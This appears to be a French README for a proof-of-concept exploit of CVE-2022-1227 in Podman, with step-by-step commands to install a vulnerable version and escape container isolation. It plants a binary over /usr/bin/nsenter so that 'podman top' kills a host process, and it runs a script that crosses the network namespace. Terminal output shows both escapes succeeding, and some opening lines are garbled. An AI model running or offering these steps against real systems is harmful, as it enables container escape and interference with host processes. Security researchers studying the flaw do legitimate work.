
Un script pour exploiter CVE-2022-1227
Un script pour exploiter la CVE-2022-1227.
20.10 est recommandé.4.0.0 ; 3.4.4 est recommandé.TODO : ajouter le principe de cette vulnérabilité
Suivre les instructions du document officiel : https://podman.io/getting-started/installation#installing-on-linux
Pour Ubuntu 20.10, la commande d'installation devrait être :
sudo apt-get install podman=3.4.4+ds1-1ubuntu1
Dans cette section, nous essayons un simple PoC pour franchir la limite du PID namespace et kill un processus sur l'hôte.
Voici les étapes :
Lancer un conteneur avec la commande suivante : podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity
Exécuter keep dans ./exp/bin et récupérer le PID sous lequel il s'exécute. En général, il affiche son PID sur le terminal. Comme le binaire est configuré pour dormir pendant 600 secondes, il faut peut-être être rapide pour terminer les étapes suivantes.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
My process ID is: 7719
Put this number to `PID` in the sendsig.c and compile!
Modifier le code source dans ./exp/src/sendsig.c et renseigner le PID obtenu à l'étape précédente dans la variable pid.
int pid = OLD_VAL;
en
int pid = 7719;
Placer le binaire compilé dans le podman interne : podman cp ./exp/bin/sendsig $container_name :/usr/bin/nsenter
Dans cette section, nous utilisons des sockets pour réaliser la communication inter-processus par socket entre le client dans le conteneur et le serveur sur l'hôte, ce qui est généralement impossible lorsque le mécanisme d'isolation est complet. Nous utilisons cette vulnérabilité pour franchir l'isolation du namespace réseau afin de réaliser cet exploit.
Tout d'abord, entrer dans le répertoire avec cd ./exp ;
En exécutant simplement ./exploit.sh, tout sera fait automatiquement ; si tout se passe bien, le serveur affichera :
Hello from the container!
Cela signifie que nous avons traversé le namespace réseau et que nous nous sommes échappés.
Exécuter podman top pour déclencher la vulnérabilité : podman top -l
Si tout se passe bien, le processus keep en cours d'exécution sera tué immédiatement. C'est inhabituel, car normalement les processus à l'intérieur du conteneur ne peuvent pas envoyer de signaux aux processus de l'hôte en raison de l'isolation du PID namespace.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
My process ID is: 7719
Killed